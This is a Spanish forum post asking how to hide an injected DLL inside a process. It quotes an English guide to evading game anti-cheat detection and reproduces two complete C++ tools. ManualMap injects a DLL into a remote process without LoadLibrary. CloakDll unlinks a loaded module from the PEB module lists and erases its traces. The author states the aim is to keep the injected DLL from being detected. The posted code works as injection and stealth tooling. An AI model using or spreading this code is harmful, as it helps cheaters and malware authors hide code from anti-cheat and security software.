Ir al contenido


Foto

Unlinking Modules en Delphi?


  • Por favor identifícate para responder
No hay respuestas en este tema

#1 c0lo

c0lo

    Advanced Member

  • Miembro Platino
  • PipPipPip
  • 241 mensajes
  • LocationLima-Peru

Escrito 28 agosto 2009 - 11:16

Una de mis dudas durante la semana fue este tema, e visto tutoriales los cuales expondre a continuacion.

El primer tema que voy o indico a continuacion es un post que encontre referente a "Evading Hack Detection Mechanisms In Online Games", de donde parte todo mi investigacion referente a este tema o metodo.

II - Detection of loaded modules

For this purpose i'm going to assume we need to load a module into the target(as we do in the case of most game hacks or bots). We must recognize two distinct instances in which a rogue module could be detected. Upon injection and then the rest of the time.

Nearly every dll injection method involves calling LoadLibrary at some point or another. So a simple way to catch any modules you wish to detect is to hook LoadLibrary(or LdrLoadDll, or whichever other lower level native
API's).

This problem can be solved in one of two ways. The first and simplest being randomization of the modules name. Since a great many legitimate pieces of software inject dll's into every process on the system(Trillian, AIM, hotkey software, etc..) no reasonable detection system can use a "white list" design(detection that involves making sure only verified modules are loaded, and considering anything that isn't explicitly good, to be bad). So a blacklist must be used, which makes it so that randomized module nomenclature is a perfectly acceptable solution to this detection technique.

The other method, which I implemented is to use one other method of dll injection, which i've called "manual mapping". It seemed at first like a very daunting task to emulate the windows PE loader and make everything
work correctly, but it turns out that it's not really all that difficult. My ManualMap(appendix) code does just that. It could use a great many improvements, I know, and in fact I have my own private vastly improved
version, but it's only a proof of concept.

After a module is injected into a running process, it can be detected in two ways. The first is to scan the module list or call GetModuleHandle on modules that you consider "hacks". This is mitigated by unlinking your
module from the list using a tool like CloakDll(appendix). Or using something like ManualMap so the module is never linked in the first place. I think the second solution is a bit better, but they are more or less the same.

The second way of detecting modules after they've been injected is much more clever. It is to iterate through every page on the system(pages are aligned on 0x1000 bytes, so this is actually feasible), and check it for
offending code signatures. This problem can be countered by using a modified dll loader that randomizes the offset from the page boundaries where the real data actually starts. However, a better solution I think is
to create two new blank pages enclosing your module. And then use VirtualProtect to set the PAGE_GUARD flag on these two pages. The PAGE_GUARD flag will generate a one-shot exception whenever the memory is accessed. Using an unhandled exception filter, vectored exception handling, or a KiUserExceptionDispatcher hook(I recommend the latter), you can catch these exceptions. This will let you know when you are being scanned and allow you to do whatever you like to prevent the detection code from spotting your module.



cpp
  1. //        ManualMap - by Darawk
  2. //        Featured @ [url=http://www.RealmGX.com]www.RealmGX.com[/url] & [url=http://www.Darawk.com]www.Darawk.com[/url]
  3. //
  4. //  The purpose of ManualMap is to "manually map" a dll
  5. //  module into a remote process's address space.  This
  6. //  means that instead of just manipulating the remote
  7. //  process into calling the LoadLibrary function, we
  8. //  have our own emulation of what LoadLibrary does
  9. //  without all those annoying detectability issues ^^.
  10. //  The advantage of this method over using something
  11. //  like my CloakDll function, is that this method never
  12. //  has to call a function like LoadLibrary inside the
  13. //  remote process.  Since LoadLibrary can be hooked,
  14. //  the dll  could still be caught at the injection stage.
  15. //  Or possibly also through the weakness I discussed in
  16. //  the comment header of that file, which is not present
  17. //  when using this technique.
  18. #include <windows.h>
  19. #include <tlhelp32.h>
  20. #include <shlwapi.h>
  21.  
  22. #pragma comment(lib, "shlwapi.lib")
  23.  
  24. #define IMAGE_DIRECTORY_ENTRY_IMPORT 1
  25. #define IMAGE_DIRECTORY_ENTRY_BASERELOC 5
  26.  
  27. //  Pietrek's macro
  28. //
  29. //  MakePtr is a macro that allows you to easily add to values (including
  30. //  pointers) together without dealing with C's pointer arithmetic.  It
  31. //  essentially treats the last two parameters as DWORDs.  The first
  32. //  parameter is used to typecast the result to the appropriate pointer type.
  33. #define MakePtr( cast, ptr, addValue ) (cast)( (DWORD_PTR)(ptr) + (DWORD_PTR)(addValue))
  34.  
  35. //  This one is mine, but obviously..."adapted" from matt's original idea =p
  36. #define MakeDelta(cast, x, y) (cast) ( (DWORD_PTR)(x) - (DWORD_PTR)(y))
  37.  
  38. bool MapRemoteModule(unsigned long, char *);
  39.  
  40. unsigned long GetProcessIdByName(char *);
  41. HMODULE GetRemoteModuleHandle(unsigned long, char *);
  42. FARPROC GetRemoteProcAddress(unsigned long, char *, char *);
  43.  
  44. bool FixImports(unsigned long, void *, IMAGE_NT_HEADERS *, IMAGE_IMPORT_DESCRIPTOR *);
  45. bool FixRelocs(void *, void *, IMAGE_NT_HEADERS *, IMAGE_BASE_RELOCATION *, unsigned int);
  46. bool MapSections(HANDLE, void *, void *, IMAGE_NT_HEADERS *);
  47.  
  48. PIMAGE_SECTION_HEADER GetEnclosingSectionHeader(DWORD, PIMAGE_NT_HEADERS);
  49. LPVOID GetPtrFromRVA(DWORD, PIMAGE_NT_HEADERS, PBYTE);
  50.  
  51. //  Stub that calls the Dll from within the remote process.
  52. //  This is necessary because a DllMain function takes 3
  53. //  arguments, and CreateRemoteThread can pass only 1.
  54. __declspec(naked) void DllCall_stub(HMODULE hMod)
  55. {
  56.   _asm
  57.   {
  58.       push 0
  59.       push 1
  60.       push [esp+0Ch]      //  Pointer to the hMod argument
  61.         mov eax, 0xDEADBEEF  //  Patch this in with the real value at run-time
  62.  
  63.       call eax        //  MSVC++ doesn't like direct absolute calls, so we have to be
  64.                     //  clever about it.
  65.  
  66.       ret              //  Don't have to clean up the stack because the calling function
  67.                     //  is just going to call ExitThread() immediately after this
  68.                     //  function returns.
  69.   }
  70. }
  71.  
  72. //  Marker for the end of the DllCall_stub function
  73. __declspec(naked) void DC_stubend(void) { } 
  74.  
  75. int main(int argc, char **argv)
  76. {
  77.   //  Just my test values...Cmdline.dll is a plugin that comes with
  78.   //  Olly Debug 1.10
  79.   MapRemoteModule(GetProcessIdByName("notepad.exe"), "Cmdline.dll");
  80.   return 0;
  81. }
  82.  
  83. bool MapRemoteModule(unsigned long pId, char *module)
  84. {
  85.   IMAGE_DOS_HEADER *dosHd;
  86.   IMAGE_NT_HEADERS *ntHd;
  87.  
  88.   HANDLE hFile = CreateFile(module,
  89.       GENERIC_READ,
  90.       FILE_SHARE_READ | FILE_SHARE_WRITE,
  91.       NULL,
  92.       OPEN_EXISTING,
  93.       FILE_ATTRIBUTE_NORMAL,
  94.       NULL);
  95.  
  96.   if(hFile == INVALID_HANDLE_VALUE)
  97.       return false;
  98.  
  99.   unsigned int fSize;
  100.  
  101.   if(GetFileAttributes(module) & FILE_ATTRIBUTE_COMPRESSED)
  102.       fSize = GetCompressedFileSize(module, NULL);
  103.   else
  104.       fSize = GetFileSize(hFile, NULL);
  105.  
  106.   unsigned char *dllBin = new unsigned char[fSize];
  107.   unsigned int nBytes;
  108.  
  109.   ReadFile(hFile, dllBin, fSize, (LPDWORD)&nBytes, FALSE);
  110.   CloseHandle(hFile);
  111.  
  112.   //  Every PE file contains a little DOS stub for backwards compatibility
  113.   //  it's only real relevance is that it contains a pointer to the actual
  114.   //  PE header.
  115.   dosHd = MakePtr(IMAGE_DOS_HEADER *, dllBin, 0);
  116.  
  117.   //  Make sure we got a valid DOS header
  118.   if(dosHd->e_magic != IMAGE_DOS_SIGNATURE)
  119.   {
  120.       delete dllBin;
  121.       return false;
  122.   }
  123.  
  124.   //  Get the real PE header from the DOS stub header
  125.   ntHd = MakePtr(IMAGE_NT_HEADERS *, dllBin, dosHd->e_lfanew);
  126.  
  127.   //  Verify the PE header
  128.   if(ntHd->Signature != IMAGE_NT_SIGNATURE)
  129.   {
  130.       delete dllBin;
  131.       return false;
  132.   }
  133.  
  134.   HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pId);
  135.  
  136.   if(!hProcess)
  137.       return false;
  138.  
  139.   //  Allocate space for the module in the remote process
  140.   void *moduleBase = VirtualAllocEx(hProcess,
  141.       NULL,
  142.       ntHd->OptionalHeader.SizeOfImage,
  143.       MEM_COMMIT | MEM_RESERVE,
  144.       PAGE_EXECUTE_READWRITE);
  145.  
  146.   //  Make sure we got the memory space we wanted
  147.   if(!moduleBase)
  148.       return false;
  149.  
  150.   //  Allocate space for our stub
  151.   void *stubBase = VirtualAllocEx(hProcess,
  152.       NULL,
  153.       MakeDelta(SIZE_T, DC_stubend, DllCall_stub),
  154.       MEM_COMMIT | MEM_RESERVE,
  155.       PAGE_EXECUTE_READWRITE);
  156.  
  157.   //  Make sure we got the memory space we wanted
  158.   if(!stubBase)
  159.       return false;
  160.  
  161.   //  Fix up the import table of the new module
  162.   IMAGE_IMPORT_DESCRIPTOR *impDesc = (IMAGE_IMPORT_DESCRIPTOR *)GetPtrFromRVA(
  163.       (DWORD)(ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress),
  164.       ntHd,
  165.       (PBYTE)dllBin);
  166.  
  167.   if(ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size)
  168.       FixImports(pId,
  169.         (unsigned char *)dllBin,
  170.         ntHd,
  171.         impDesc);
  172.  
  173.   //  Fix "base relocations" of the new module.  Base relocations are places
  174.   //  in the module that use absolute addresses to reference data.  Since
  175.   //  the base address of the module can be different at different times,
  176.   //  the base relocation data is necessary to make the module loadable
  177.   //  at any address.
  178.   IMAGE_BASE_RELOCATION *reloc = (IMAGE_BASE_RELOCATION *)GetPtrFromRVA(
  179.       (DWORD)(ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress),
  180.       ntHd,
  181.       (PBYTE)dllBin);
  182.  
  183.   if(ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size)
  184.       FixRelocs(dllBin,
  185.         moduleBase,
  186.         ntHd,
  187.         reloc,
  188.         ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size);
  189.  
  190.   //  Write the PE header into the remote process's memory space
  191.   WriteProcessMemory(hProcess,
  192.       moduleBase,
  193.       dllBin,
  194.       ntHd->FileHeader.SizeOfOptionalHeader + sizeof(ntHd->FileHeader) + sizeof(ntHd->Signature),
  195.       (SIZE_T *)&nBytes);
  196.  
  197.   //  Map the sections into the remote process(they need to be aligned
  198.   //  along their virtual addresses)
  199.   MapSections(hProcess, moduleBase, dllBin, ntHd);
  200.  
  201.   //  Change the page protection on the DllCall_stub function from PAGE_EXECUTE_READ
  202.   //  to PAGE_EXECUTE_READWRITE, so we can patch it.
  203.   VirtualProtect((LPVOID)DllCall_stub,
  204.       MakeDelta(SIZE_T, DC_stubend, DllCall_stub),
  205.       PAGE_EXECUTE_READWRITE,
  206.       (DWORD *)&nBytes);
  207.  
  208.   //  Patch the stub so it calls the correct address
  209.   *MakePtr(unsigned long *, DllCall_stub, 9) =
  210.       MakePtr(unsigned long, moduleBase, ntHd->OptionalHeader.AddressOfEntryPoint);
  211.  
  212.  
  213.   //  Write the stub into the remote process
  214.   WriteProcessMemory(hProcess,
  215.       stubBase,
  216.       (LPVOID)DllCall_stub,
  217.       MakeDelta(SIZE_T, DC_stubend, DllCall_stub),
  218.       (SIZE_T *)&nBytes);
  219.  
  220.   //  Execute our stub in the remote process
  221.   CreateRemoteThread(hProcess,
  222.       NULL,
  223.       0,
  224.       (LPTHREAD_START_ROUTINE)stubBase,
  225.       moduleBase,      //  Pass the base address of the module as the argument to the stub.
  226.                   //  All a module handle is, is the base address of the module(except
  227.                   //  in windows CE), so we're really passing a handle to the module
  228.                   //  so that it can refer to itself, create dialogs, etc..
  229.       0,
  230.       NULL);
  231.  
  232.   delete dllBin;
  233.   return true;
  234. }
  235.  
  236. bool MapSections(HANDLE hProcess, void *moduleBase, void *dllBin, IMAGE_NT_HEADERS *ntHd)
  237. {
  238.   IMAGE_SECTION_HEADER *header = IMAGE_FIRST_SECTION(ntHd);
  239.   unsigned int nBytes = 0;
  240.   unsigned int virtualSize = 0;
  241.   unsigned int n = 0;
  242.  
  243.   //  Loop through the list of sections
  244.   for(unsigned int i = 0; ntHd->FileHeader.NumberOfSections; i++)
  245.   {
  246.       //  Once we've reached the SizeOfImage, the rest of the sections
  247.       //  don't need to be mapped, if there are any.
  248.       if(nBytes >= ntHd->OptionalHeader.SizeOfImage)
  249.         break;
  250.    
  251.       WriteProcessMemory(hProcess,
  252.         MakePtr(LPVOID, moduleBase, header->VirtualAddress),
  253.         MakePtr(LPCVOID, dllBin, header->PointerToRawData),
  254.         header->SizeOfRawData,
  255.         (LPDWORD)&n);
  256.  
  257.       virtualSize = header->VirtualAddress;
  258.       header++;
  259.       virtualSize = header->VirtualAddress - virtualSize;
  260.       nBytes += virtualSize;
  261.  
  262.       //  Set the proper page protections for this section.
  263.       //  This really could be skipped, but it's not that
  264.       //  hard to implement and it makes it more like a
  265.       //  real loader.
  266.       VirtualProtectEx(hProcess,
  267.         MakePtr(LPVOID, moduleBase, header->VirtualAddress),
  268.         virtualSize,
  269.         header->Characteristics & 0x00FFFFFF,
  270.         NULL);
  271.   }
  272.  
  273.   return true;
  274. }
  275.  
  276. bool FixImports(unsigned long pId, void *base, IMAGE_NT_HEADERS *ntHd, IMAGE_IMPORT_DESCRIPTOR *impDesc)
  277. {
  278.   char *module;
  279.  
  280.   //  Loop through all the required modules
  281.   while((module = (char *)GetPtrFromRVA((DWORD)(impDesc->Name), ntHd, (PBYTE)base)))
  282.   {
  283.       //  If the library is already loaded(like kernel32.dll or ntdll.dll) LoadLibrary will
  284.       //  just return the handle to that module.
  285.         HMODULE localMod = LoadLibrary(module);
  286.  
  287.       //  If the module isn't loaded in the remote process, we recursively call the
  288.       //  module mapping code.  This has the added benefit of ensuring that any of
  289.       //  the current modules dependencies will be just as invisble as this one.
  290.       if(!GetRemoteModuleHandle(pId, module))
  291.         MapRemoteModule(pId, module);
  292.      
  293.       //  Lookup the first import thunk for this module
  294.       //  NOTE: It is possible this module could forward functions...which is something
  295.       //  that I really should handle.  Maybe i'll add support for forwared functions
  296.       //  a little bit later.
  297.       IMAGE_THUNK_DATA *itd =
  298.         (IMAGE_THUNK_DATA *)GetPtrFromRVA((DWORD)(impDesc->FirstThunk), ntHd, (PBYTE)base);
  299.  
  300.       while(itd->u1.AddressOfData)
  301.       {
  302.         IMAGE_IMPORT_BY_NAME *iibn;
  303.         iibn = (IMAGE_IMPORT_BY_NAME *)GetPtrFromRVA((DWORD)(itd->u1.AddressOfData), ntHd, (PBYTE)base);
  304.  
  305.             itd->u1.Function = MakePtr(DWORD, GetRemoteProcAddress(pId,
  306.             module,
  307.             (char *)iibn->Name), 0);
  308.  
  309.         itd++;
  310.       }     
  311.       impDesc++;
  312.   }
  313.  
  314.   return true;
  315. }
  316.  
  317. bool FixRelocs(void *base, void *rBase, IMAGE_NT_HEADERS *ntHd, IMAGE_BASE_RELOCATION *reloc, unsigned int size)
  318. {
  319.   unsigned long ImageBase = ntHd->OptionalHeader.ImageBase;
  320.   unsigned int nBytes = 0;
  321.  
  322.   unsigned long delta = MakeDelta(unsigned long, rBase, ImageBase);
  323.  
  324.   while(1)
  325.   {
  326.       unsigned long *locBase =
  327.         (unsigned long *)GetPtrFromRVA((DWORD)(reloc->VirtualAddress), ntHd, (PBYTE)base);
  328.       unsigned int numRelocs = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
  329.  
  330.       if(nBytes >= size) break;
  331.  
  332.       unsigned short *locData = MakePtr(unsigned short *, reloc, sizeof(IMAGE_BASE_RELOCATION));
  333.       for(unsigned int i = 0; i < numRelocs; i++)
  334.       {     
  335.         if(((*locData >> 12) & IMAGE_REL_BASED_HIGHLOW))
  336.             *MakePtr(unsigned long *, locBase, (*locData & 0x0FFF)) += delta;
  337.  
  338.         locData++;
  339.       }
  340.  
  341.       nBytes += reloc->SizeOfBlock;
  342.       reloc = (IMAGE_BASE_RELOCATION *)locData;
  343.   }
  344.  
  345.   return true;
  346. }
  347.  
  348.  
  349. FARPROC GetRemoteProcAddress(unsigned long pId, char *module, char *func)
  350. {
  351.   HMODULE remoteMod = GetRemoteModuleHandle(pId, module);
  352.   HMODULE localMod = GetModuleHandle(module);
  353.  
  354.   //  Account for potential differences in base address
  355.   //  of modules in different processes.
  356.   unsigned long delta = MakeDelta(unsigned long, remoteMod, localMod);
  357.   return MakePtr(FARPROC, GetProcAddress(localMod, func), delta);
  358. }
  359.  
  360. unsigned long GetProcessIdByName(char *process)
  361. {
  362.   PROCESSENTRY32 pe;
  363.   HANDLE thSnapshot;
  364.   BOOL retval, ProcFound = false;
  365.  
  366.   thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  367.  
  368.   if(thSnapshot == INVALID_HANDLE_VALUE)
  369.   {
  370.       MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL);
  371.       return false;
  372.   }
  373.  
  374.   pe.dwSize = sizeof(PROCESSENTRY32);
  375.  
  376.     retval = Process32First(thSnapshot, &pe);
  377.  
  378.   while(retval)
  379.   {
  380.       if(StrStrI(pe.szExeFile, process) )
  381.       {
  382.         ProcFound = true;
  383.         break;
  384.       }
  385.  
  386.       retval    = Process32Next(thSnapshot,&pe);
  387.       pe.dwSize = sizeof(PROCESSENTRY32);
  388.   }
  389.  
  390.   return pe.th32ProcessID;
  391. }
  392.  
  393. HMODULE GetRemoteModuleHandle(unsigned long pId, char *module)
  394. {
  395.   MODULEENTRY32 modEntry;
  396.   HANDLE tlh = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId);
  397.  
  398.   modEntry.dwSize = sizeof(MODULEENTRY32);
  399.     Module32First(tlh, &modEntry);
  400.  
  401.   do
  402.   {
  403.       if(!stricmp(modEntry.szModule, module))
  404.         return modEntry.hModule;
  405.       modEntry.dwSize = sizeof(MODULEENTRY32);
  406.   }
  407.   while(Module32Next(tlh, &modEntry));
  408.  
  409.   return NULL;
  410. }
  411.  
  412. //  Matt Pietrek's function
  413. PIMAGE_SECTION_HEADER GetEnclosingSectionHeader(DWORD rva, PIMAGE_NT_HEADERS pNTHeader)
  414. {
  415.     PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(pNTHeader);
  416.     unsigned int i;
  417.  
  418.     for ( i = 0; i < pNTHeader->FileHeader.NumberOfSections; i++, section++ )
  419.     {
  420.       // This 3 line idiocy is because Watcom's linker actually sets the
  421.       // Misc.VirtualSize field to 0.  (!!! - Retards....!!!)
  422.       DWORD size = section->Misc.VirtualSize;
  423.       if ( 0 == size )
  424.         size = section->SizeOfRawData;
  425.        
  426.         // Is the RVA within this section?
  427.         if ( (rva >= section->VirtualAddress) &&
  428.             (rva < (section->VirtualAddress + size)))
  429.             return section;
  430.     }
  431.  
  432.     return 0;
  433. }
  434.  
  435. //  This function is also Pietrek's
  436. LPVOID GetPtrFromRVA( DWORD rva, IMAGE_NT_HEADERS *pNTHeader, PBYTE imageBase )
  437. {
  438.   PIMAGE_SECTION_HEADER pSectionHdr;
  439.   INT delta;
  440.    
  441.   pSectionHdr = GetEnclosingSectionHeader( rva, pNTHeader );
  442.   if ( !pSectionHdr )
  443.       return 0;
  444.  
  445.   delta = (INT)(pSectionHdr->VirtualAddress-pSectionHdr->PointerToRawData);
  446.   return (PVOID) ( imageBase + rva - delta );
  447. }



cpp
  1. //              CloakDll - by Darawk
  2. //        Featured @ [url=http://www.RealmGX.com]www.RealmGX.com[/url] & [url=http://www.Darawk.com]www.Darawk.com[/url]
  3. //
  4. //  The purpose of CloakDll is to allow the user to hide any loaded
  5. //  module from the windows API.  It works by accessing the modules
  6. //  list stored in the PEB, and subsequently unlinking the module
  7. //  in question from all 4 of the doubly-linked lists that it's a
  8. //  node of.  It then zeroes out the structure and the path/file
  9. //  name of the module in memory.  So that even if the memory where
  10. //  the data about this module used to reside is scanned there will
  11. //  still be no conclusive evidence of it's existence.  At present
  12. //  there is only one weakness that I have found in this method.
  13. //  I'll describe how it may still be possible to discover at least
  14. //  that a module has been hidden, after a brief introduction to how
  15. //  the GetModuleHandle function works.
  16. //
  17. //  *The following information is not documented by Microsoft.  This
  18. //    information consists of my findings while reverse-engineering
  19. //    these functions and some of them may be incorrect and/or
  20. //    subject to change at any time(and is almost definitely different
  21. //    in different versions of windows, and maybe even in different
  22. //    service packs).  I've tried to make my code as version independant
  23. //    as possible but certain parts of it may not work on older versions
  24. //    of windows.  I've tested it on XP SP2 and there i'll guarantee
  25. //    that it works, but on any other versions of windows, it's anyone's
  26. //    guess.*
  27. //
  28. //  GetModuleHandle eventually calls GetModuleHandleExW, which in
  29. //  turn accesses the native API function GetDllHandle, which calls
  30. //  GetDllHandleEx.  And it's not until here, that we actually see
  31. //  anything even begin to look up information about loaded modules.
  32. //  Whenever GetModuleHandle is called, it saves the address of the
  33. //  last ModuleInfoNode structure that it found in a global variable
  34. //  inside of ntdll.  This global variable is the first thing
  35. //  checked on all subsequent calls to GetModuleHandle.  If the
  36. //  handle being requested is not the one that was requested the last
  37. //  time GetDllHandleEx calls the LdrpCheckForLoadedDll function.
  38. //  LdrpCheckForLoadedDll begins by converting the first letter of the
  39. //  module name being requested to uppercase, decrementing it by 1 and
  40. //  AND'ing it with 0x1F.  This effectively creates a 0-based index
  41. //  beginning with the letter 'A'.  The purpose of this is so that
  42. //  the module can first be looked up in a hash table.  The hash table
  43. //  consists entirely of LIST_ENTRY structures.  One for each letter
  44. //  'A' through 'Z'.  The LIST_ENTRY structure points to the first
  45. //  and last modules loaded that begin with the letter assigned to
  46. //  that entry in the hash table.  The Flink member being the first
  47. //  loaded beginning with that letter, and the Blink member being the
  48. //  last.  The code scans through this list until it finds the module
  49. //  that it's looking for.  On the off-chance that it doesn't find it
  50. //  there, or if the boolean argument UseLdrpHashTable is set to false
  51. //  it will begin going through one of the other three lists.  If, at
  52. //  this point it still doesn't find it, it will admit defeat and return
  53. //  0 for the module handle.
  54. //
  55. //  Weakness:  The global variable inside ntdll that caches the pointer
  56. //  to the last module looked up could be used to at least detect the
  57. //  fact that a module has been hidden.  The LdrUnloadDll() function
  58. //  will set this value to 0 when it unloads a module, so if the cache
  59. //  variable points to an empty structure, the only logical conclusion
  60. //  would be a hidden module somewhere in the process.  This could be
  61. //  resolved by using the static address of this variable and simply
  62. //  zeroing it out.  However, this would make the code specific to only
  63. //  one version of windows.  You could also scan the address space of
  64. //  ntdll for any occurences of the base address(aka module handle)
  65. //  of the module you're hiding.  However, this would be slow and it
  66. //  would clutter up the CloakDll_stub function, because it'd have to
  67. //  all be done manually.  And i'd have to either use a static base
  68. //  address for ntdll...which would probably work on most versions
  69. //  of windows, however I really don't like using static addresses.
  70. //  Or i'd have to manually locate it by writing my own unicode
  71. //  string comparison code, to lookup ntdll in the list by it's name.
  72. //  Realistically though anyone trying to detect this way would run
  73. //  into the same problem.  That their code would not be version
  74. //  independant.  So, it's unlikely to see any largescale deployment
  75. //  of such a technique.  However, anyone who would like to solve
  76. //  this problem themselves is perfectly free, and encouraged to do
  77. //  so.
  78.  
  79. #include <windows.h>
  80. #include <winnt.h>
  81. #include <tlhelp32.h>
  82. #include <shlwapi.h>
  83.  
  84.  
  85. #pragma comment(lib, "shlwapi.lib")
  86.  
  87. #define UPPERCASE(x) if((x) >= 'a' && (x) <= 'z') (x) -= 'a' - 'A'
  88. #define UNLINK(x) (x).Blink->Flink = (x).Flink; \
  89.   (x).Flink->Blink = (x).Blink;
  90.  
  91. #pragma pack(push, 1)
  92.  
  93. typedef struct _UNICODE_STRING {
  94.   USHORT  Length;
  95.   USHORT  MaximumLength;
  96.   PWSTR  Buffer;
  97. } UNICODE_STRING, *PUNICODE_STRING;
  98.  
  99. typedef struct _ModuleInfoNode
  100. {
  101.   LIST_ENTRY LoadOrder;
  102.   LIST_ENTRY InitOrder;
  103.   LIST_ENTRY MemoryOrder;
  104.   HMODULE baseAddress;      //  Base address AKA module handle
  105.   unsigned long entryPoint;
  106.   unsigned int size;        //  Size of the modules image
  107.   UNICODE_STRING fullPath;
  108.   UNICODE_STRING name;
  109.   unsigned long flags;
  110.   unsigned short LoadCount;
  111.   unsigned short TlsIndex;
  112.   LIST_ENTRY HashTable;  //  A linked list of any other modules that have the same first letter
  113.   unsigned long timestamp;
  114. } ModuleInfoNode, *pModuleInfoNode;
  115.  
  116. typedef struct _ProcessModuleInfo
  117. {
  118.   unsigned int size;        //  Size of a ModuleInfo node?
  119.   unsigned int initialized;
  120.   HANDLE SsHandle;
  121.   LIST_ENTRY LoadOrder;
  122.   LIST_ENTRY InitOrder;
  123.   LIST_ENTRY MemoryOrder;
  124. } ProcessModuleInfo, *pProcessModuleInfo;
  125.  
  126.  
  127. #pragma pack(pop)
  128.  
  129. bool CloakDll_stub(HMODULE);
  130. void CD_stubend();
  131.  
  132. bool CloakDll(char *, char *);
  133. unsigned long GetProcessIdFromProcname(char *);
  134. HMODULE GetRemoteModuleHandle(unsigned long, char *);
  135.  
  136.  
  137. int main(int argc, char **argv)
  138. {
  139.   CloakDll("notepad.exe", "kernel32.dll");
  140.   return 0;
  141. }
  142.  
  143. bool CloakDll(char *process, char *dllName)
  144. {
  145.   PathStripPath(dllName);
  146.  
  147.   unsigned long procId;
  148.   procId = GetProcessIdFromProcname(process);
  149.   HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId);
  150.  
  151.   //  Calculate the length of the stub by subtracting it's address
  152.   //  from the beginning of the function directly ahead of it.
  153.   //
  154.   //  NOTE: If the compiler compiles the functions in a different
  155.   //  order than they appear in the code, this will not work as
  156.   //  it's supposed to.  However, most compilers won't do that.
  157.   unsigned int stubLen = (unsigned long)CD_stubend - (unsigned long)CloakDll_stub;
  158.  
  159.   //  Allocate space for the CloakDll_stub function
  160.   void *stubAddress = VirtualAllocEx(hProcess,
  161.       NULL,
  162.       stubLen,
  163.       MEM_RESERVE | MEM_COMMIT,
  164.       PAGE_EXECUTE_READWRITE);
  165.  
  166.   //  Write the stub's code to the page we allocated for it
  167.   WriteProcessMemory(hProcess, stubAddress, CloakDll_stub, stubLen, NULL);
  168.  
  169.   HMODULE hMod = GetRemoteModuleHandle(procId, dllName);
  170.  
  171.   //  Create a thread in the remote process to execute our code
  172.   CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)stubAddress, hMod, 0, NULL);
  173.  
  174.   //  Clean up after ourselves, so as to leave as little impact as possible
  175.   //  on the remote process
  176.   VirtualFreeEx(hProcess, stubAddress, stubLen, MEM_RELEASE);
  177.   return true;
  178. }
  179.  
  180. bool CloakDll_stub(HMODULE hMod)
  181. {
  182.   ProcessModuleInfo *pmInfo;
  183.   ModuleInfoNode *module;
  184.  
  185.   _asm
  186.   {
  187.       mov eax, fs:[18h]      // TEB
  188.       mov eax, [eax + 30h]  // PEB
  189.       mov eax, [eax + 0Ch]  // PROCESS_MODULE_INFO
  190.       mov pmInfo, eax
  191.   }
  192.  
  193.     module = (ModuleInfoNode *)(pmInfo->LoadOrder.Flink);
  194.  
  195.   while(module->baseAddress && module->baseAddress != hMod)
  196.       module = (ModuleInfoNode *)(module->LoadOrder.Flink);
  197.  
  198.   if(!module->baseAddress)
  199.       return false;
  200.  
  201.   //  Remove the module entry from the list here
  202.   /////////////////////////////////////////////////// 
  203.   //  Unlink from the load order list
  204.   UNLINK(module->LoadOrder);
  205.   //  Unlink from the init order list
  206.   UNLINK(module->InitOrder);
  207.   //  Unlink from the memory order list
  208.   UNLINK(module->MemoryOrder);
  209.   //  Unlink from the hash table
  210.   UNLINK(module->HashTable);
  211.  
  212.   //  Erase all traces that it was ever there
  213.   ///////////////////////////////////////////////////
  214.  
  215.   //  This code will pretty much always be optimized into a rep stosb/stosd pair
  216.   //  so it shouldn't cause problems for relocation.
  217.   //  Zero out the module name
  218.   memset(module->fullPath.Buffer, 0, module->fullPath.Length);
  219.   //  Zero out the memory of this module's node
  220.   memset(module, 0, sizeof(ModuleInfoNode)); 
  221.  
  222.   return true;
  223. }
  224.  
  225. __declspec(naked) void CD_stubend() { }
  226.  
  227. unsigned long GetProcessIdFromProcname(char *procName)
  228. {
  229.   PROCESSENTRY32 pe;
  230.   HANDLE thSnapshot;
  231.   BOOL retval, ProcFound = false;
  232.  
  233.   thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  234.  
  235.   if(thSnapshot == INVALID_HANDLE_VALUE)
  236.   {
  237.       MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL);
  238.       return false;
  239.   }
  240.  
  241.   pe.dwSize = sizeof(PROCESSENTRY32);
  242.  
  243.     retval = Process32First(thSnapshot, &pe);
  244.  
  245.   while(retval)
  246.   {
  247.       if(StrStrI(pe.szExeFile, procName) )
  248.       {
  249.         ProcFound = true;
  250.         break;
  251.       }
  252.  
  253.       retval    = Process32Next(thSnapshot,&pe);
  254.       pe.dwSize = sizeof(PROCESSENTRY32);
  255.   }
  256.  
  257.   return pe.th32ProcessID;
  258. }
  259.  
  260. HMODULE GetRemoteModuleHandle(unsigned long pId, char *module)
  261. {
  262.   MODULEENTRY32 modEntry;
  263.   HANDLE tlh = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId);
  264.  
  265.   modEntry.dwSize = sizeof(MODULEENTRY32);
  266.     Module32First(tlh, &modEntry);
  267.  
  268.   do
  269.   {
  270.       if(!stricmp(modEntry.szModule, module))
  271.         return modEntry.hModule;
  272.       modEntry.dwSize = sizeof(MODULEENTRY32);
  273.   }
  274.   while(Module32Next(tlh, &modEntry));
  275.  
  276.   return NULL;
  277. }


Despues de leer, y de a pocos ir entendiendo la idea de como en cristiano diria yo, poder esconder mi dll inyectada en un proceso X, de tal forma que si el proceso verifica las dlls que son cargadas por dicho proceso mi dll inyectada no sea detectada por el.

